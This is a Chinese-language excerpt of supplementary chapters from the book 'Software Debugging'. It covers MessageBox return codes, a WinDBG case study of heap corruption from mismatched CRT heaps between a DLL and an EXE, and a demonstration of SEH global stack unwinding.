API 的返回值是一个整数,如表 13-2 所示。 表 13-2 MessageBox 函数的返回值 宏定义 值 宏定义 值 IDOK 1 IDNO 7 IDCANCEL 2 IDCLOSE 8 IDABORT 3 IDHELP 9 IDRETRY 4 IDTRYAGAIN 10 IDIGNORE 5 IDCONTINUE 11 IDYES 6 IDTIMEOUT 32000 通过以上返回值,可以知道用户对消息框的响应结果,例如 IDYES 代表用户选择了 Yes 按钮,等等。 13.1.7 归纳 前面我们介绍了 MessageBox 函数的工作原理和几个相关的 API 及内部函数。图 13-2 归纳出了这些函数的相互关系。 《软件调试》补编 - 14 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 图 13-2 MessageBox 和有关 API 的调用关系 使用 MessageBox API 来实现错误提示的优点是简单易用,但是这种方法存在如下局 限。首先,MessageBox 是一个用户态的 API,内核代码无法直接使用。第二,MessageBox 是工作在调用者(通常是错误发生地)的进程和线程上下文中的,如果当前进程/线程的 数据结构(比如消息队列)已经由于严重错误而遭到损坏,那么 MessageBox 可能无法工 作。第三,对于系统启动关闭等特殊情况,MessageBox 是无法工作的。 《软件调试》补编 - 15 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 补编内容 补编内容 补编内容 补编内容 2 堆检查之实例分析 堆检查之实例分析 堆检查之实例分析 堆检查之实例分析 补编说明: 这一节本来属于《软件调试》第 23 章的第 16 节,也就是最后一节,旨在通 过一个真实案例来总结和巩固这一章前面各节的内容。案例涉及动态链接库 模块和 EXE 模块,是在同一进程中有多个 C 运行库实例的情况。 在《软件调试》正式出版前压缩篇幅时,这一节被删除了。主要原因是虽 然这个例子挺好的,但是毕竟是例子,为了确保原理性的内容,还是把这 个例子删了。 23.16 实例分析 前面几节我们介绍了 Win32 堆、CRT 堆,以及它们的调试支持。本节我们通过一个 实例来巩固大家的理解。在现实的软件产品中,一个应用程序通常由很多个模块组成,这 些模块可能是不同团队或不同公司和组织开发的。这就很可能有多个模块都使用了 CRT 库,但是使用的版本和链接方式是不同的。对于这种一个进程内的多个模块(EXE 和 DLL) 都使用了 CRT 堆的情况,它们使用的是多个 CRT 堆还是一个 CRT 堆呢?这个问题的答案 主要和链接 CRT 的方式有关。简单地说,如果一个模块(EXE 或 DLL)静态链接 CRT, 那么这个模块便会创建和使用自己的 CRT 堆。如果一个模块动态链接 CRT,那么这个模 块便与同一进程内动态链接这个 CRT DLL 的所有模块共享一个 CRT 堆。下面以分别使用 VC6 和 VC2005(即 VC8)创建的 Win32 DLL 和 Win32 应用程序为例进行分析。 23.16.1 FaultDll 和 FaultApp FaultDll 是使用 VC6 创建的标准 Win32 DLL,操作步骤为 File>New>选择 Win32 Dynamic-Link Library 并命名为 FaultDll>选择 A Dll that exports some symbols。FaultApp 是 使用 VC6 创建的标准 Win32 应用程序,操作步骤为 File>New>选择 Win32 Application 并 命名>选择 A typical “Hello World” application。以上两个项目除了将输出目录设置到同一 个目录外,其他选项都是默认的。 在 FaultDll 中我们实现并输出一个简单的类 CFaultClass,它有一个公开的成员,类 型为 STL(Standard Template Libarary,即标准模板库)中的 std::string 类。在 FaultApp 中我们加入一个名为 FaultCase 的函数来使用 CFaultClass 类,清单 23-35 给出了相关的 《软件调试》补编 - 16 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 代码。 清单 23-35 CFaultClass 类的定义和使用 #include <string> using namespace std; //使用 STL 的命名空间 class FAULTDLL_API CFaultClass //定义并输出一个 C++类 { public: CFaultClass(void); //构造函数,内部没有做任何操作 string m_cstrMember; //定义一个字符串成员 }; //以下是 FaultApp.cpp 中的代码 #include "../faultdll.h" //包含声明 CFaultClass 类的头文件 void FaultCase(HWND hWnd) //使用 CFaultClass 类的 FaultCase 函数 { CFaultClass fc; //定义一个实例 fc.m_cstrMember="AdvDbg.org"; //直接对公开的成员赋值 MessageBox(hWnd, fc.m_cstrMember.c_str(), "FaultApp",MB_OK); //显示成员的当前值 } //返回 最后在 FaultApp 程序中加入一个菜单项 IDM_FAULT,并在响应这个菜单项命令时调 用 FaultCase 函数。 以上代码选摘自一个实际的软件项目,看起来非常简单,似乎也没什么问题,但是实 际上它却隐藏着严重的问题,我们先来看调试版本的运行情况。 23.16.2 运行调试版本 编译以上两个项目,会有一个 c4251 警告,我们稍后再讨论它。直接执行(非调试) 调试版本的 FaultApp 程序(位于 code\bin\debug 目录),点击 File 菜单的 Triger Fault 项后, 会得到图 23-10 所示的断言失败对话框。 图 23-10 内存检查断言失败对话框 根据对话框中提示的文件名和行号,打开 CRT 堆的源程序文件 dbgheap.c(典型路径 为 c:\Program Files\Microsoft Visual Studio\VC98\crt\src),找到 1044 行,可以看到该位置果 然有图 23-10 中所描述的断言_CrtIsValidHeapPointer(pUserData),断言上面有一段 注释: /* * If this ASSERT fails, a bad pointer has been passed in. It may be * totally bogus, or it may have been allocated from another heap. * The pointer MUST come from the 'local' heap. */ _ASSERTE(_CrtIsValidHeapPointer(pUserData)); 以上代码所属的函数名处于一个条件编译块,如果定义了用于支持多线程_MT 标志, 那么函数名是_free_dbg_lk 函数,会被一个带有锁定支持的_free_dbg 函数所调用,否 《软件调试》补编 - 17 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 则这段代码便会被编译为_free_dbg 函数。因为我们的程序中定义了_MT 标志,所以断 言发生在_free_dbg_lk 函数中。注释的意思是如果这个断言失败,那么有人向这个函数 传递进了错误的指针,这个指针可能是完全捏造的,也可能是从另一个堆上分配的。要释 放的指针一定要来源于本地的堆。看了这个说明后,可以推测出断言失败是因为 _free_dbg_lk 函数认为传递给它的 pUserData 参数有问题。这个参数用来指定要释放的 堆块。那么是要释放哪个堆块时导致这个断言失败呢? 23.16.3 分析原因 将 WinDBG 设置为 JIT 调试器(执行 WinDBG -I),然后选择 Retry 按钮进行 JIT 调试。 在 WinDBG 与 FaultApp 成功建立调试会话后,从 WinDBG 显示的信息中可以看出报告断 言失败的断点指令确实位于_free_dbg_lk 函数中,键入 k 命令观察栈回溯信息(清单 23-36)。 清单 23-36 析构 string 成员(释放内存)的执行过程(摘要) 0:000> kpnL //L 代表不显示源文件名 # ChildEBP RetAddr 00 0012fa84 100045ca FaultDll!_free_dbg_lk+0xc8 //lk 代表具有锁定(Lock)保护 01 0012fa94 1000457e FaultDll!_free_dbg+0x1a //调试版本的堆块释放函数 02 0012faa4 1000246c FaultDll!free+0xe //C 的内存释放函数 03 0012fab0 10001dd6 FaultDll!operator delete+0xc //delete 运算符 04 0012fb0c 100018f2 FaultDll!std::allocator<char>::deallocate+0x26 05 0012fb70 10001497 FaultDll!std::basic_string<char,… >::_Tidy+0x82 06 0012fbcc 10001245 FaultDll!std::basic_string<… >::~basic_string<… >+0x27 07 0012fc24 004014b8 FaultDll!CFaultClass::~CFaultClass+0x25 //析构函数 08 0012fc94 00401628 FaultApp!FaultCase+0x88 //应用程序中使用输出类的函数 09 0012fdb4 7e418724 FaultApp!WndProc+0x118 //窗口过程,以下栈帧省略 从上面的栈回溯信息可以看到,问题与 FaultApp 的 FaultCase 函数有关,在该函数 释放局部对象 fc 时,引发调用 CFaultClass 的析构函数,后者调用 string 类的析构函数 ~basic_string 来释放成员 m_cstrMember。~basic_string 函数依次调用_Tidy 方法和 内存分配器(allocator)的 deallocate 方法,接下来 Deallocate 方法调用 delete 运算符来释 放 string 的缓冲区,从而调用 CRT 堆的堆释放函数 free_dbg。因为 FaultDll 的 CRT 链接 选项中包含/MT,即使用多线程支持,所以 free_dbg 对堆锁定后调用 free_dbg_lk 函数 执行释放操作。 通过上面的分析我们知道,是 CFaultClass 类的析构函数在析构 m_cstrMember 成 员时引发了错误。CFaultClass 类和 FaultCase 函数都很简单,是哪里出现错误了呢? 为了搞清楚这个问题,我们结束 JIT 调试会话。然后在 WinDBG 中打开(Open Executable) FaultApp.exe 开始一个新的调试会话。我们的目标是跟踪 FaultCase 函数向 m_cstrMember 成员赋值的过程,观察 m_cstrMember 为其成员分配内存的细节。对 FaultCase 函数设置 一个断点(bp FaultCase),恢复程序执行后选择菜单中的 Triger Fault 让该断点命中。为了 避免枯燥的单步跟踪,对 RtlAllocateHeap 函数设置一个断点(bp ntdll!RtlAllocateHeap), 因为前面我们讨论过大多数情况 CRT 堆使用的都是系统模式,会调用 Win32 堆的分配函 数分配堆块。设好断点,让程序执行,断点果然命中,键入 k 命令观察栈回溯信息(清单 23-37)。 清单 23-37 为 string 成员分配内存的执行过程(摘要) 0:000> k ChildEBP RetAddr 0012f8d8 00408f42 ntdll!RtlAllocateHeap //Win32 堆的分配函数 0012f8f0 00404752 FaultApp!_heap_alloc_base+0xc2 [malloc.c @ 200] 0012f918 00404559 FaultApp!_heap_alloc_dbg+0x1a2 [dbgheap.c @ 378] 《软件调试》补编 - 18 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 0012f964 004020fe FaultApp!operator new+0xf [new.cpp @ 24] 0012f9bc 00402048 FaultApp!std::_Allocate+0x2e […\xmemory @ 30] 0012fa1c 00401ed9 FaultApp!std::allocator<char>::allocate+0x28 [...\xmemory] 0012fb04 0040194b FaultApp!std::basic_string<… >::_Grow+0x120 [… @ 568] 0012fbc4 00401849 FaultApp!std::basic_string<…>::assign+0x36 [… @ 138] 0012fc20 00401473 FaultApp!std::basic_string<… >::operator=+0x29 [… @ 67] 0012fc94 004015ce FaultApp!FaultCase+0x53 [C:\... \FaultApp.cpp @ 126] 上面的清单显示了向一个 string 对象(m_cstrMember)赋值的完整过程。因为要存储 的字符串长度超过了 string 类现有缓冲区的容量,所以 assign 方法调用 Grow 方法增大缓 冲区,从而引发了调用 std::_Allocate 和 new 运算符分配内存。 比较清单 23-35 和清单 23-36 中的释放和分配 string 对象缓冲区的过程,我们可以明 显地看到,分配过程使用的是静态链接到 FaultApp 模块中的 CRT 函数(注意每个函数名 前的模块名),而释放过程使用的是静态链接到 FaultDll 模块中的 CRT 函数。尽管两个模 块静态链接的 string 类和 CRT 函数的代码应该是相同的(因为我们使用同一个 VC 环境 开发),但是我们知道 CRT 库不仅有代码,还有全局变量,比如 CRT 堆的句柄就是记录 在名为_crtheap 的全局变量中的。这样一来,如果这两套函数使用了各自的全局变量, 那么它们使用的也是各自的堆。这势必造成分配时使用一个堆,释放时使用的是另一个堆, 因而导致了上面的问题。使用 WinDBG 观察 FaultDll 和 FaultApp 中的_crtheap 变量,可 以看到它们指向的确实是不同的堆: 0:000> dd FaultDll!_crtheap l1 10039838 003c0000 0:000> dd FaultApp!_crtheap l1 0042e938 003d0000 这个例子告诉我们静态链接到每个模块的中 CRT 是相对独立的,它们各自维护自己 的全局变量,创建和使用自己的 CRT 堆。在使用 CRT 堆时应该确保在一个 CRT 堆分配的 内存也要在这个 CRT 堆上进行释放。 23.16.4 发布版本 刚才我们分析的是调试版本的情况,调试版的 CRT 堆释放函数在释放前的检查中会 发现问题并以断言的形式报告出来,也就是错误的释放动作没有真正执行。那么发布版本 的情况如何呢? 为了提高执行速度,发布版本的 CRT 堆函数中不再包含调试版本中的很多检查工作, 因此前面的断言不再存在。 事实上,运行发布版本的 FaultApp 时,其结果是不确定的。如果运行完全使用默认 选项编译出的发布版本,那么执行没有任何问题。使用 WinDBG 跟踪 FaultCase 函数,可 以发现编译器的优化功能将 string 类的赋值运算符做了 inline,将该运算符的函数代码直 接插入到了 FaultCase 函数中,类似的 CFaultClass 的析构函数也被 inline 到 FaultCase 函数中。这便使得内存分配和删除操作都完全是在 FaultCase 函数中发起的。其主要汇编 指令如下: call FaultApp!std::basic_string<…>::_Grow (00401450) // 分配 rep movs dword ptr es:[edi],dword ptr [esi] // 赋值 call FaultApp!operator delete (00401750) // 释放 也就是说,因为编译器对发布版本的优化措施将本来发生在 FaultDll 中的释放操作(清 单 23-35 的栈帧#03)移入到了 FaultApp 中。这样分配和释放便都发生在 FaultApp 中,它 们使用的都是一个堆,这样确实没有问题了。 下面我们试一下禁止 inline 的情况。在 FaultApp 项目的发布版本属性中将 inline 功能 《软件调试》补编 - 19 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 禁止(Project > Settings > C++ > Optimizations > Inline function expansion > Disable),然后 编译并执行 FaultApp 的发布版本(bin\release\faultapp.exe),选择 Triger Fault 菜单执行 FaultCase 函数,执行一两次时并没有什么异常情况发生,但是当执行第 7 次(有随机性) 时,应用程序错误对话框弹出来了,错误的详细信息中显示应用程序执行了非法访问,错 误代码是 0xC000005。点击调试按钮启动 WinDBG 开始 JIT 调试,WinDBG 显示如下异常 现场信息: (1364.848): Access violation - code c0000005 (!!! second chance !!!) eax=003d3040 ebx=003c0000 ecx=00000000 edx=00000000 esi=003d3038 edi=003d2378... ntdll!RtlpCoalesceFreeBlocks+0x36e: 7c910f29 8b09 mov ecx,dword ptr [ecx] ds:0023:00000000=???????? 可见,是因为 RtlpCoalesceFreeBlocks 函数访问了空指针,试图读取 ECX 指针的 内容,但 ECX 的值是 0。使用 kbn 命令显示栈回溯信息(清单 23-38)。 清单 23-38 发布版本中的析构过程 0:000> kbn # ChildEBP RetAddr Args to Child 00 0012fc24 7c910d5c 003d08c0 00000000 0012fcdc ntdll!RtlpCoalesceFreeBlocks+0x36e 01 0012fcf8 10002b9b 003c0000 00000000 003d23b8 ntdll!RtlFreeHeap+0x2e9 02 0012fd0c 10001ba2 003d23b8 10001284 003d23b8 FaultDll!free+0x46 03 0012fd14 10001284 003d23b8 00401230 00401216 FaultDll!operator delete+0x9 04 0012fd20 00401216 00401200 003d23b9 0000000a FaultDll!CFaultClass::~CFau… 05 0012fd40 00401304 00990338 00000000 00000000 FaultApp!FaultCase+0x66 06 0012fdfc 7e418724 00990338 00000111 00008003 FaultApp!WndProc+0xd4 从栈帧#04 可以了解到异常仍是与 CFaultClass 类的析构函数有关。栈帧#3 是在执 行 delete 运 算 符 , 栈 帧 #1 是 调 用 Win32 堆 的 释 放 函 数 , 栈 帧 #0 的 RtlpCoalesceFreeBlocks 函数是 Win32 堆中用来合并空闲块的工作函数。仔细观察栈 帧#1 中传递给 RtlFreeHeap 函数的参数,其中 003c0000 是堆句柄,003d23b8 是要释放 堆块的用户指针。使用!heap 命令列出进程中的所有堆: 0:000> !heap Index Address Name Debugging options enabled … 6: 003c0000 7: 003d0000 根据我们多次分析 Win32 堆的经验,用户指针 003d23b8 显然更像是 7 号堆上的堆块, 但现在却是试图从 6 号堆上释放。为了提高运行速度,默认情况下堆的工作函数是假定传 递给它的用户指针都是正确的,会根据这个指针的地址计算堆块的起始位置,然后修改堆 块的属性,更新空闲链表……。因此当把从一个堆上分配的用户指针和另一个堆的句柄传 递给释放函数时,混乱局面便开始了,用户数据和管理数据被张冠李戴,链表指针被错误 的指来指去,导致整个堆混乱,即所谓的堆败坏(Heap Corruption)。而且更可怕的是, 这样的问题并没有立刻暴露出来,FaultCase 函数运行了 7 次才有异常发生,这种延迟性 显然提高了定位错误根源的难度。 23.16.5 回放混乱过程 尽管刚才的试验中,执行多次 FaultCase 函数后问题才显现出来,但事实上第一次执 行时就已经导致了问题。为了加深大家的印象,下面我们将跟踪第一次执行错误释放动作 时的内部过程。先执行 gflags /i faultapp.exe +0 防止在调试器中运行时系统自动开启 Win32 的 调 试 支 持 。 然 后 重 新 启 动 WinDBG 调 试 打 开 发 布 版 本 的 FaultApp.exe (code\bin\realease\),在 FaultDll!free 处设置一个断点。选择 Triger Fault 菜单项触发应用 程序执行 FaultCase 函数,点击消息框的 OK 按钮后断点命中,执行 kv 命令观察栈回溯, 注意关于 free 函数的那一行: 《软件调试》补编 - 20 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 0012fd0c 10001ba2 003d07e0 10001284 003d07e0 FaultDll!free (FPO: [1,0,1]) 其中 003d07e0 是 free 函数的参数,也就是要释放的用户指针。将这个地址减去 8 便是 _HEAP_ENTRY 结构,因此可以使用 dt _HEAP_ENTRY 003d07e0-8 来显示要释放堆块的 信息,注意它的 Size 信息: +0x000 Size : 7 即 这 个 堆 块 占 用 的 空 间 为 7*8=56 个 字 节 , 那 么 下 一 个 堆 块 的 地 址 应 该 为 003d07e0-8+0x38=003d0810。使用!heap 0x003d0000 –a 列出 0x003d0000 堆中的所有堆块, 可以看到一致的信息: 003d07d8: 00088 . 00038 [01] - busy (30) 003d0810: 00038 . 00af8 [00] 在 003d1d78 处设置一个数据访问断点,ba w1 003d07d8,然后输入 g 命令让程序继续 执行,断点旋即命中,使用 kbn 命令观察栈回溯: 00 0012fc20 7c9105c8 003d07d8 0012fcf8 7c910551 ntdll!RtlpInterlockedPushEntrySList+0xe 01 0012fc2c 7c910551 003c07d8 003d07e0 0012fe64 ntdll!RtlpFreeToHeapLookaside+0x22 02 0012fcf8 10002b9b 003c0000 00000000 003d07e0 ntdll!RtlFreeHeap+0x1e9 03 0012fd0c 10001ba2 003d07e0 10001284 003d07e0 FaultDll!free+0x46 可将 RtlpFreeToHeapLookaside 函数在调用 RtlpInterlockedPushEntrySList 将堆 块 003d07d8 加入到堆的空闲块旁视列表中。但是遗憾的是,FaultDll!free 函数调用 RtlFreeHeap 指定了错误的堆,现在是从 0x3c0000 堆上释放属于 0x3d0000 的堆块,所以 RtlpFreeToHeapLookaside 函数的第一个参数中所指定的旁视列表是属于 0x3c0000 堆的。 也就是说,0x3d0000 堆上的堆块释放时被记录到了 0x3c0000 堆的空闲堆块旁视列表中。 尽管隐患已经埋下,但是因为所有调试机制目前都被禁止了,所以错误症状还没体现 出来,RtlFreeHeap 函数返回的结果是 1,成功。再执行一编 TrigerFault,我们可以看到 0x3d0000 堆上又多了一个堆块(003d1da8)。 003d07d8: 00088 . 00038 [01] - busy (30) //第一次执行 TrigerFault 时分配的堆块 003d0810: 00038 . 00038 [01] - busy (30) //第二次执行 TrigerFault 时分配的堆块 003d0848: 00038 . 00ac0 [00] //下一个空闲块 可见,堆管理器把刚才与 003d07d8 相邻的空闲块一分为二。事实上如果不出问题, 因为第二次执行时请求的块大小与刚才释放的相同,那么堆管理器从旁视列表(“前端堆”) 中就可以找到正好满足要求的空闲块,不须要再分配一个。 类似地每执行 FaultCase 函数一次,0x3d0000 堆上会增加一个占用堆块,但是又执行 几次后访问异常发生了,栈回溯与 JIT 调试看到的一样。 如果是 FaultDll 与 FaultApp 中的代码交替使用堆,比如每执行一次 FaultCase 函数后 都选择 File 菜单的 Not My Fault 项执行一次 FaultDll 中的 fnFaultDll 函数,那么因为 fnFaultDll 函数要分配的空间是 48 个字节,刚好等于 FaultCase 函数中释放的大小,所以 FaultDll 的堆会尝试使用旁视列表中的这个空闲块来满足 fnFaultDll 函数。但因为旁视列 表中实际记录的是另一个堆上的堆块,所以我们可能看到 fnFaultDll 函数得到的用户指针 很奇怪,使用这个指针所指向的空间可能破坏进程中的其他数据,于是局面更加混乱。 23.16.6 思考 如果在 VC2005 中创建类似的 DLL(FtDllVC8)和应用程序(FtAppVC8),并将相应 的代码加入进去,然后运行调试版和发布版本都没有问题。但略加分析,就可以知道这是 因为 VC8 默认的链接选项是动态链接 CRT。这样 DLL 和应用程序便共享一个 CRT 堆了, 《软件调试》补编 - 21 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 因此也就没有上面的因为 CRT 堆不同的而导致的问题。事实上,在 VC6 中也可以通过将 两个项目的链接选项都改为动态链接解决这个问题。但是这种方法是不值得推荐的,因为 问题的核心是违背了哪里分配内存哪里释放的基本原则。一种优雅的解决方法是将 CFaultClass 的 m_cstrMember 成员从公开改为 private 或 protected,然后公开适当的方法来 设置和读取这个成员,这样既可以保证对 m_cstrMember 成员的内存分配和释放都发生在 这个类所在的模块中,又遵守了面向对象的原则。 最后介绍一下 VC6 编译 CFaultClass 类的 string 成员时给出的 c4251 警告。该警告的 完整信息如下: 'm_cstrMember' : class 'std::basic_string<…>' needs to have dll-interface to be used by clients of class 'CFaultClass' 其意思 是成员 m_cstrMember 所属的 basic_string 类须要有 DLL 接口 才 能被 CFaultClass 类(客户)使用。换句话来说,编译器发现了 CFaultClass 类是以 DLL 形 式输出的(类定义中包含__declspec(dllexport)),但是它的公开成员 m_cstrMember 的类 basic_string 没有 DLL 方式的接口,或者说 basic_string 类的声明中没有 __declspec(dllexport),因为我们选择是静态链接 CRT。回顾上面的错误,直接原因就 是 FaultApp 中的 basic_string 类和 FaultDll 中的 basic_string 类交替操作一个实例 fc.m_cstrMember。也就是说 basic_string 类的两份代码拷贝交替操作一个类实例。如果 FaultDll 是动态链接 basic_string 类的,或者说 basic_string 类也是以 DLL 形式输出 的,那么也不会有本节讨论的问题,这也再次告诉我们要重视编译器的警告信息。 《软件调试》补编 - 22 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 补编内容 补编内容 补编内容 补编内容 4 异常编译 异常编译 异常编译 异常编译 补编说明: 这一部分内容本来属于《软件调试》第 24 章的后半部分,讲的是编译器编译 异常处理代码的一些内部细节,包括局部展开、全局展开和对象展开等。写 作这些内容的目的是让读者对异常编译有一个既全面又深入的理解。 在请朋友预览第 24 章时,朋友在肯定这一内容的深度的同时,质疑了这一内 容的必要性,“又不是一本写编译器的书,没有必要写那么多编译的细节!” 于是在最后一轮压缩篇幅时,这部分内容就被砍掉了。自己当时很觉得可 惜,写作这部分内容还是颇花了些时间和心思的。 24.6 栈展开 栈展开是异常处理中比较难理解的一个部分。本节将通过一个实例来介绍栈展开的原 因和方法。 24.6.1 SehUnwind 为了说明栈展开的必要性和工作过程,我们编写了一个名为 SehUnwind 的小程序, 其主要代码如清单 24-15 所示。 清单 24-15 SehUnwind 程序的主要代码 1 EXCEPTION_DISPOSITION 2 __cdecl _uraw_seh_handler( struct _EXCEPTION_RECORD *ExceptionRecord, 3 void * EstablisherFrame, struct _CONTEXT *ContextRecord, 4 void * DispatcherContext ) 5 { 6 printf("_raw_seh_handler: code-0x%x, flags-0x%x\n", 7 ExceptionRecord->ExceptionCode, 8 ExceptionRecord->ExceptionFlags); 9 10 return ExceptionContinueSearch; 11 } 12 int FuncFoo(int n) 13 { 14 __asm 15 { 16 push OFFSET _uraw_seh_handler 17 push FS:[0] 18 mov FS:[0],ESP 19 20 xor edx, edx 21 mov eax, 100 《软件调试》补编 - 23 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 22 xor ecx, ecx // Zero out ECX 23 idiv ecx // Divide EDX:EAX by ECX 24 } 25 printf("Never been here if %x==0\n",n); 26 __asm 27 { 28 mov eax,[ESP] 29 mov FS:[0], EAX 30 add esp, 8 31 } 32 return n; 33 } 34 int main(int argc, char* argv[]) 35 { 36 int n=argc; 37 __try 38 { 39 printf("FuncSeh got %x!\n", FuncFoo(n-1)); 40 } 41 __except(EXCEPTION_EXECUTE_HANDLER) 42 { 43 n=0x111; 44 } 45 46 printf("Exiting with n=%x\n",n); 47 return n; 48 } 在上面的代码中,FuncFoo 函数使用手工方法注册了一个异常处理器,处理函数为 _uraw_seh_handler。main 函数在调用 FuncFoo 函数时通过__try{}__except()结构也 使用了结构化异常处理,像这种不同层次的函数都使用异常处理的情况在实际应用中是很 普遍的。 如果不带任何参数执行 SehUnwind 程序,那么 argc=1,这会使 FuncFoo 中的整除(29 行)操作导致一个除零异常。因为 FuncFoo 自己注册了异常处理器,所以系统会调用它的 异 常 处 理 函 数 _uraw_seh_handler 。 不 过 _uraw_seh_handler 总 是 返 回 ExceptionContinueSearch,并不处理任何异常(试验目的),这导致系统继续寻找其他 的异常处理器,于是会找到 main 函数登记的异常处理器,这个处理器的过滤表达式为常 量 EXCEPTION_EXECUTE_HANDLER,也就是处理任何异常。这样,系统便找到了父函 数中登记的异常处理器,接下来应该执行这个处理器的异常处理块(第 50 行)。这意味着 执行路线将由 FuncFoo 函数的中部(第 23 行)跳转到 main 函数中(第 43 行)。也就是说, 由于发生异常 FuncFoo 将由其中部退出,这个出口是编译器在编译期所预料不到的,我们 称这样的出口为函数的异常出口(Exception Exit)。异常出口直接导致了如下两个问题。 第一,对于意外退出的函数,由于函数从异常出口退出,异常出口后的代码便不会执 行,那么本来放在本来出口路线上的清理代码也得不到执行了。对于 FuncFoo 函数,注销 异常处理器(第 26~31 行)和恢复栈的代码将被意外跳过。 第二,对于要处理异常的 main 函数,由于是从 FuncFoo 中突然跳回(而不是正常返 回)到 main 函数中执行的,为了保证 main 函数的代码顺利执行,应该将栈帧和寄存器状 态恢复成 main 函数所使用的栈帧和寄存器。 栈展开(Stack Unwind)的初衷就是为了解决以上问题,简单来说,就是要为执行异 常处理块做好准备,同时也给意外退出的函数做清理工作的机会。对于我们现在讨论的例 子,栈展开就是要将目前正在执行 FuncFoo 函数时的栈变成适合返回到 main 函数的第 43 行执行的栈。如果把每个子函数的栈帧看作是栈上的一个个弯曲,那么栈展开就是把这些 弯曲拉直,使栈直接恢复到异常处理块所在位置的状态。 《软件调试》补编 - 24 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 24.6.2 全局展开 了解了栈展开的含义和必要性之后,我们继续探索栈展开的过程。仍以 SehUnwind 程序为例,在它执行结束后,打印出的结果如下: _raw_seh_handler: code-0xc0000094, flags-0x0 _raw_seh_handler: code-0xc0000027, flags-0x2 Exiting with n=111 其中,第 1 行是发生异常时,系统调用_uraw_seh_handler 函数而输出的,0xc0000094 是除零异常的代码。从第 2 行来看,_uraw_seh_handler 函数显然是又被调用了一次。 事实上,这一次就是因为栈展开而调用的,0xc0000027 是专门为栈展开而定义的异常代码 STATUS_UNWIND,标志位 0x2 代表 EH_UNWINDING,即因为栈展开而调用异常处理 函数。 如果对_raw_seh_handler 函数设置断点,在除零异常发生后,这个断点会命中两次, 第一次命中时的栈调用序列与清单 24-6 一样,只有栈帧 0 的函数名从_raw_seh_handler 变为_uraw_seh_handler。清单 24-16 给出了第二次命中时的栈调用序列。 清单 24-16 全局展开的执行过程 # ChildEBP RetAddr 00 0012f738 7c9037bf SehUnwind!_uraw_seh_handler //FuncFoo 函数登记的异常处理函数 01 0012f75c 7c90378b ntdll!ExecuteHandler2+0x26 //在保护块中调用异常处理函数 02 0012fb24 004011dc ntdll!ExecuteHandler+0x24 //参见 24.4.2 03 0012fb4c 0040131b SehUnwind!_global_unwind2+0x18 //全局展开 04 0012fb70 7c9037bf SehUnwind!_except_handler3+0x5f //main 函数登记的异常处理函数 05 0012fb94 7c90378b ntdll!ExecuteHandler2+0x26 //在保护块中调用异常处理函数 06 0012fc44 7c90eafa ntdll!ExecuteHandler+0x24 //参见 24.4.2 07 0012fc44 004010d6 ntdll!KiUserExceptionDispatcher+0xe //用户态分发异常的起点 08 0012ff4c 00401139 SehUnwind!FuncFoo+0x26 //发生除零异常的函数 09 0012ff80 00401448 SehUnwind!main+0x39 //入口函数 0a 0012ffc0 7c816fd7 SehUnwind!mainCRTStartup+0xb4 //编译器插入的入口函数 0b 0012fff0 00000000 kernel32!BaseProcessStart+0x23 //进程的启动函数 其中,栈帧#08 对应的 FuncFoo 导致了除零异常,首先在内核态进行分发(参见第 11.3 节 ), 然 后 回 到 用 户 态 的 KiUserExceptionDispatcher 继 续 分 发 , 也 就 是 调 用 RtlDispatchException 函数(未显示出来)。栈帧#06~栈帧#04 是在执行 FS:[0]链条中 找到的异常处理器,即 main 函数登记的异常处理函数_except_handler3,这是当 RtlDispatchException 函 数 调 用 _uraw_seh_handler 函 数 时 , 得 到 ExceptionContinueSearch 后继续遍历 FS:[0]链条而找到的。_except_handler3 在执 行 main 函数中的过滤表达式时得到的结果是 EXCEPTION_EXECUTE_HANDLER,于是 它准备执行对应的处理块。在转去执行处理块之前,它先调用_global_unwind2 开始栈 展开(栈帧#03)。_global_unwind2 的实现很简单,只须调用另一个重要的 RTL 函数 RtlUnwind,上面的清单没有显示出 RtlUnwind 函数。 __global_unwind2(_EXCEPTION_REGISTRATION * pRegistrationFrame) { _RtlUnwind(pRegistrationFrame, &__ret_label, 0, 0 ); __ret_label: } RtlUnwind 函数的原型为: VOID RtlUnwind (PEXCEPTION_REGISTRATION pTargetFrame, ULONG ulTargetIpAddress, PEXCEPTION_RECORD pExceptionRecord, ULONG ulReturnValue); 其中,pTargetFrame 指向 FS:[0]链条中同意处理异常的那个异常登记结构,用来指 定栈展开的截止栈帧。参数 ulTargetIpAddress 用来指定展开操作结束后要跳转回来的 地址,从上面__global_unwind2 函数的代码可以看到,它就是调用 RtlUnwind 语句下 《软件调试》补编 - 25 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 面的一个标号的地址。参数 pExceptionRecord 用来指定异常记录结构,ulReturnValue 可以指定一个放入到 EAX 寄存器中的返回值。RtlUnwind 的实现较为复杂,以下是它执 行的主要动作。 第一,定义一个新的异常记录 EXCEPTION_RECORD,将它的异常代码设置为 STATUS_UNWIND,并在 ExceptionFlags 字段中设置 EH_UNWINDING 标志。 第二,调用 RtlpCaptureContext将当时的线程状态捕捉到一个上下文结构(Context) 中,并调整 Esp 字段使其对应的栈不包含本函数的内容。 第三,从 FS:[0]链条的表头开始,依次取出每个异常处理器的登记结构,执行下面两 步中的操作。 第四,将异常登记结构中的处理函数作为参数调用 RtlpExecutehandlerFor- Unwind 函数,即: nDisposition = RtlpExecutehandlerForUnwind( pExceptionRecord, pExceptionRegitrationRecord, &context, &DispatcherContext, pExceptionRegitrationRecord ->handler ); RtlpExecuteHandlerForUnwind 函数与 RtlpExecuteHandlerForException 非常 类似,它只是先将处理内嵌异常的函数地址赋给 EDX 寄存器,然后便自然进入(Fall Through ) 到 紧 随 其 后 的 ExecuteHandler 函 数 中 。 ExecuteHandler 内 部 会 调 用 ExecuteHandler2 函数, ExecuteHandler2 内部调用真正的异常处理函数,比如 _uraw_seh_handler。在异常处理函数返回后,标志着这个函数的展开工作结束。 第五,调用 RtlpUnlinkHandler(pExceptionRegitrationRecord)将刚才展开结束 的异常处理器从 FS:[0]链条上移除。 第六,取出下一个异常登记结构并回到第 4 步,直到遇到参数 pTargetFrame 所指定 的记录,标志着展开操作结束。 